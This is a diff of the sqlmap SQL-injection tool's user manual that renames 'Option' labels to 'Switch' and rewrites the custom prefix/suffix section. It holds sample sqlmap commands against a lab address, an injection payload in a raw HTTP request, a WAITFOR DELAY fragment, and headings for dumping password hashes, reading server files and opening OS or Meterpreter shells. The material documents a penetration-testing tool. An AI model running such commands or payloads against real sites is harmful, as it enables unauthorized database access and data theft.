+If for any reason sqlmap fails to detect the back-end DBMS once a SQL
+injection has been identified or if you want to avoid an active fingeprint,
+you can provide the name of the back-end DBMS yourself (e.g. postgresql).
+For MySQL and Microsoft SQL Server provide them respectively in the form
+MySQL <version> and Microsoft SQL Server <version>
+, where <version> is a valid version for the DBMS; for
+instance 5.0 for MySQL and 2005 for Microsoft SQL Server.
-In case you provide --fingerprint together with --dbms,
-sqlmap will only perform the extensive fingerprint for the specified
-database management system, read below for further details.
+In case you provide --fingerprint together with
+--dbms, sqlmap will only perform the extensive
+fingerprint for the specified database management system only, read below
+for further details.
Note that this option is not mandatory and it is strongly
recommended to use it only if you are absolutely sure about the
back-end database management system. If you do not know it, let sqlmap
-automatically identify it for you.
+automatically fingerprint it for you.
Force the database management system operating system name
-Option: --os
+Switch: --os
By default sqlmap automatically detects the web application's back-end
-database management system underlying operating system when requested by
-any other functionality.
+database management system underlying operating system when this
+information is a dependence of any other provided switch.
At the moment the fully supported operating systems are two:
@@ -2008,8 +1494,8 @@ At the moment the fully supported operating systems are two:
-It is possible to force the operating system name if you already know it so
-that sqlmap will skip the fingerprint.
+It is possible to force the operating system name if you already know it
+so that sqlmap will avoid doing it itself.
Note that this option is not mandatory and it is strongly
@@ -2021,71 +1507,89 @@ not know it, let sqlmap automatically identify it for you.
Custom injection payload
-Options: --prefix and --postfix
+Switches: --prefix and --suffix
In some circumstances the vulnerable parameter is exploitable only if the
-user provides a postfix to be appended to the injection payload.
+user provides a specific suffix to be appended to the injection payload.
Another scenario where these options come handy presents itself when the
user already knows that query syntax and want to detect and exploit the
-SQL injection by directly providing a injection payload prefix and/or
-postfix.
+SQL injection by directly providing a injection payload prefix and suffix.
-Example on a MySQL 5.0.67 target on a page where the SQL query is:
-$query = "SELECT * FROM users WHERE id=('" . $_GET['id'] . "') LIMIT 0, 1";:
+Example on vulnerable source code:
-$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_str_brackets.php?id=1" -v 3 \
- -p "id" --prefix "'" --postfix "AND 'test'='test"
+$query = "SELECT * FROM users WHERE id=('" . $_GET['id'] . "') LIMIT 0, 1";
+
-[...]
-[hh:mm:16] [INFO] testing sql injection on GET parameter 'id' with 0 parenthesis
-[hh:mm:16] [INFO] testing custom injection on GET parameter 'id'
-[hh:mm:16] [TRAFFIC OUT] HTTP request:
-GET /sqlmap/mysql/get_str_brackets.php?id=1%27%29%20AND%207433=7433%20AND%20
-%28%27test%27=%27test HTTP/1.1
-Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
-Host: 192.168.136.131
-Accept-language: en-us,en;q=0.5
-Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
-image/png,*/*;q=0.5
-User-agent: sqlmap/0.8 (http://sqlmap.sourceforge.net)
-Connection: close
-[...]
-[hh:mm:17] [INFO] GET parameter 'id' is custom injectable
+
+To detect and exploit this SQL injection, you can either let sqlmap detect
+the boundaries (as in combination of SQL payload prefix and
+suffix) for you during the detection phase, or provide them on your own.
+For example:
+
+
+$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_str_brackets.php?id=1" \
+ -p id --prefix "')" --suffix "AND ('abc'='abc"
[...]
-As you can see, the injection payload for testing for custom injection is:
+This will result in all sqlmap requests to end up in a query as follows:
-id=1%27%29%20AND%207433=7433%20AND%20%28%27test%27=%27test
+$query = "SELECT * FROM users WHERE id=('1') AND ('abc'='abc') LIMIT 0, 1";
-which URL decoded is:
-
-
-id=1') AND 7433=7433 AND ('test'='test
-
-
-and makes the query syntatically correct to the page query:
-
-
-SELECT * FROM users WHERE id=('1') AND 7433=7433 AND ('test'='test') LIMIT 0, 1
-
+
+Which makes the query syntactically correct.
In this simple example, sqlmap could detect the SQL injection and exploit
-it without need to provide a custom injection payload, but sometimes in
-the real world application it is necessary to provide it.
+it without need to provide custom boundaries, but sometimes in real world
+application it is necessary to provide it when the injection point is
+within nested JOIN queries for instance.
+
+
+Tamper injection data
+
+
+Switch: --tamper
+
+
+TODO
+
+
+Detection
+
+
+These options can be used to specify how to parse and compare page content
+from HTTP responses when using blind SQL injection technique.
+
+
+Level
+
+
+Switch: --level
+
+
+TODO
+
+
+Risk
+
+
+Switch: --risk
+
+
+TODO
Page comparison
-Options: --string and --regexp
+Switches: --string and --regexp
By default the distinction of a True query by a False one (basic concept
@@ -2265,46 +1769,6 @@ with content that changes itself at each refresh without modifying the
user's input.
-Exclude specific page content
-
-
-Options: --excl-str and --excl-reg
-
-
-Another way to get around the dynamicity issue explained above is to exclude
-the dynamic part from the page content before processing it.
-
-
-As you see in the above example the number after Dynamic content:
-was dynamic and changed each second. To get around of this problem we could
-use the above explained page comparison options or exclude this snippet of
-dynamic text from the page before processing it and comparing it with the
-not injected page.
-
-
-$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int_refresh.php?id=1" \
- --excl-reg "Dynamic content: ([\d]+)"
-
-[hh:mm:22] [INFO] testing connection to the target url
-[hh:mm:22] [INFO] testing if User-Agent parameter 'User-Agent' is dynamic
-[hh:mm:22] [WARNING] User-Agent parameter 'User-Agent' is not dynamic
-[hh:mm:22] [INFO] testing if GET parameter 'id' is dynamic
-[hh:mm:22] [INFO] confirming that GET parameter 'id' is dynamic
-[hh:mm:22] [INFO] GET parameter 'id' is dynamic
-[hh:mm:22] [INFO] testing sql injection on GET parameter 'id'
-[hh:mm:22] [INFO] testing numeric/unescaped injection on GET parameter 'id'
-[hh:mm:22] [INFO] confirming numeric/unescaped injection on GET parameter 'id'
-[hh:mm:22] [INFO] GET parameter 'id' is numeric/unescaped injectable
-[hh:mm:22] [INFO] testing for parenthesis on injectable parameter
-[hh:mm:22] [INFO] the injectable parameter requires 0 parenthesis
-[...]
-
-
-
-As you can see, when this options is specified, sqlmap skips the URL
-stability test.
-
-
Techniques
@@ -2315,7 +1779,7 @@ the default blind SQL injection technique.
Test for stacked queries (multiple statements) support
-Option: --stacked-test
+Switch: --stacked-test
It is possible to test if the web application technology supports
@@ -2379,7 +1843,7 @@ stacked queries support: 'name=luther'; WAITFOR DELAY '0:0:5';-- AND 'wRcBC'=
Test for time based blind SQL injection
-Options: --time-test and --time-sec
+Switches: --time-test and --time-sec
It is possible to test if the target URL is affected by a time based
@@ -2454,7 +1918,7 @@ is set to five seconds.
Test for UNION query SQL injection
-Options: --union-test and --union-tech
+Switches: --union-test and --union-tech
It is possible to test if the target URL is affected by a UNION query
@@ -2524,7 +1988,7 @@ with hundreds of HTTP requests.
Use the UNION query SQL injection
-Option: --union-use
+Switch: --union-use
Providing the --union-use parameter, sqlmap will first test if
@@ -2696,7 +2160,7 @@ the page content.
Extensive database management system fingerprint
-Options: -f or --fingerprint
+Switches: -f or --fingerprint
By default the web application's back-end database management system
@@ -2955,7 +2419,7 @@ you can run your own SQL statements.
Banner
-Option: -b or --banner
+Switch: -b or --banner
Most of the modern database management systems have a function and/or
@@ -3027,7 +2491,7 @@ Microsoft SQL Server 2005 - 9.00.1399.06 (Intel X86)
Session user
-Option: --current-user
+Switch: --current-user
It is possible to retrieve the database management system's user which is
@@ -3046,7 +2510,7 @@ current user: 'testuser@localhost'
Current database
-Option: --current-db
+Switch: --current-db
It is possible to retrieve the database management system's database the
@@ -3065,7 +2529,7 @@ current database: 'master'
Detect if the session user is a database administrator (DBA)
-Option: --is-dba
+Switch: --is-dba
It is possible to detect if the current database management system session user is
@@ -3110,7 +2574,7 @@ current user is DBA: 'True'
Users
-Option: --users
+Switch: --users
It is possible to enumerate the list of database management system users.
@@ -3131,7 +2595,7 @@ database management system users [3]:
Users password hashes
-Options: --passwords and -U
+Switches: --passwords and -U
It is possible to enumerate the password hashes for each database
@@ -3206,7 +2670,7 @@ database management system users password hashes:
Users privileges
-Options: --privileges and -U
+Switches: --privileges and -U
It is possible to enumerate the privileges for each database management
@@ -3339,7 +2803,7 @@ management system is Microsoft SQL Server.
Available databases
-Option: --dbs
+Switch: --dbs
It is possible to enumerate the list of databases.
@@ -3366,7 +2830,7 @@ management system is Oracle.
Databases tables
-Options: --tables and -D
+Switches: --tables and -D
It is possible to enumerate the list of tables for all database
@@ -3478,7 +2942,7 @@ system user.
Database table columns
-Options: --columns, -C, -T and -D
+Switches: --columns, -C, -T and -D
It is possible to enumerate the list of columns for a specific database
@@ -3637,7 +3101,7 @@ Table: users
Dump database table entries
-Options: --dump, -C, -T, -D,
+Switches: --dump, -C, -T, -D,
--start, --stop, --first
and --last
@@ -3880,7 +3344,7 @@ column of a specific table entry.
Dump all databases tables entries
-Options: --dump-all and --exclude-sysdbs
+Switches: --dump-all and --exclude-sysdbs
It is possible to dump all databases tables entries at once.
@@ -4007,7 +3471,7 @@ as a users' database.
Execute custom SQL statement
-Options: --sql-query and --sql-shell
+Switches: --sql-query and --sql-shell
The SQL query and the SQL shell features makes the user able to execute
@@ -4385,7 +3849,7 @@ support when the back-end DBMS is PostgreSQL.
Inject custom user-defined functions (UDF)
-Options: --udf-inject and --shared-lib
+Switches: --udf-inject and --shared-lib
You can inject your own user-defined functions (UDFs) by compiling a
@@ -4437,7 +3901,7 @@ via command line using --shared-lib option.
Read a file from the database server's file system
-Option: --read-file
+Switch: --read-file
It is possible to retrieve the content of files from the underlying file
@@ -4561,7 +4025,7 @@ output/192.168.136.131/files/C__example.exe: PE32 executable for MS Windows (GUI
Write a local file on the database server's file system
-Options: --write-file and --dest-file
+Switches: --write-file and --dest-file
It is possible to upload a local file to the database server file system
@@ -4642,7 +4106,7 @@ same size as the local file '/etc/passwd'
Execute arbitrary operating system command
-Options: --os-cmd and --os-shell
+Switches: --os-cmd and --os-shell
It is possible to execute arbitrary commands on the underlying operating
@@ -4977,7 +4441,7 @@ wants to recreate them or keep them and save time.
Prompt for an out-of-band shell, Meterpreter or VNC
-Options: --os-pwn, --priv-esc, --msf-path and --tmp-path
+Switches: --os-pwn, --priv-esc, --msf-path and --tmp-path
It is possible to establish an out-of-band stateful TCP connection
@@ -5248,7 +4712,7 @@ meterpreter > exit
One click prompt for an out-of-band shell, meterpreter or VNC
-Options: --os-smbrelay, --priv-esc and --msf-path
+Switches: --os-smbrelay, --priv-esc and --msf-path
If the back-end database management system runs on Windows as
@@ -5404,7 +4868,7 @@ msf exploit(smb_relay) > exit
Database stored procedure heap-based buffer overflow exploit
-Options: --os-bof, --priv-esc and --msf-path
+Switches: --os-bof, --priv-esc and --msf-path
If the back-end database management system is Microsoft SQL Server not
@@ -5527,7 +4991,7 @@ the needed privileges to access it.
Read a Windows registry key value
-Option: --reg-read
+Switch: --reg-read
Using this option you can read registry key values.
@@ -5570,7 +5034,7 @@ Registry key value data: 'ProductName REG_SZ Microsoft Windows XP'
Write a Windows registry key value
-Option: --reg-add
+Switch: --reg-add
Using this option you can write registry key values.
@@ -5610,7 +5074,7 @@ to modify the Windows registry.
Delete a Windows registry key
-Option: --reg-del
+Switch: --reg-del
Using this option you can delete registry keys.
@@ -5651,7 +5115,7 @@ Windows registry.
Auxiliary registry switches
-Options: --reg-key, --reg-value,
+Switches: --reg-key, --reg-value,
--reg-data and --reg-type
@@ -5682,7 +5146,7 @@ $ python sqlmap.py -u http://192.168.136.128/sqlmap/pgsql/get_int.php?id=1 --reg
Session file: save and resume all data retrieved
-Option: -s
+Switch: -s
By default sqlmap logs all queries and their output into a text file while
@@ -5782,7 +5246,7 @@ banner: 'PostgreSQL 8.3.5 on i486-pc-linux-gnu, compiled by GCC gcc-4.3.real
Flush session file for current target
-Option: --flush-session
+Switch: --flush-session
As you are already familiar with the concept of a session file from the
@@ -5797,7 +5261,7 @@ sqlmap. Other possible way is the manual removing of session file(s),
Estimated time of arrival
-Option: --eta
+Switch: --eta
It is possible to calculate and show the estimated time of arrival to
@@ -5867,7 +5331,7 @@ counts the number of retrieved query output characters.
Use Google dork results from specified page number
-Option: --gpage
+Switch: --gpage
Default sqlmap behavior with option -g is to do a Google
@@ -5908,7 +5372,7 @@ do you want to test this url? [Y/n/q]
Update sqlmap
-Option: --update
+Switch: --update
Using this option you can update the program to the latest version
@@ -5937,7 +5401,7 @@ a source package (gzip, bzip2 or zip) to use this feature.
Save options in a configuration INI file
-Option: --save
+Switch: --save
It is possible to save the command line options to a configuration INI
@@ -6094,7 +5558,7 @@ banner: 'PostgreSQL 8.3.5 on i486-pc-linux-gnu, compiled by GCC gcc-4.3.real
Act in non-interactive mode
-Option: --batch
+Switch: --batch
If you want sqlmap to run as a batch tool, without any user's interaction
@@ -6144,7 +5608,7 @@ vulnerable parameter.
Cleanup the DBMS by sqlmap specific UDF(s) and table(s)
-Option: --cleanup
+Switch: --cleanup
It is recommended to clean up the back-end database management system from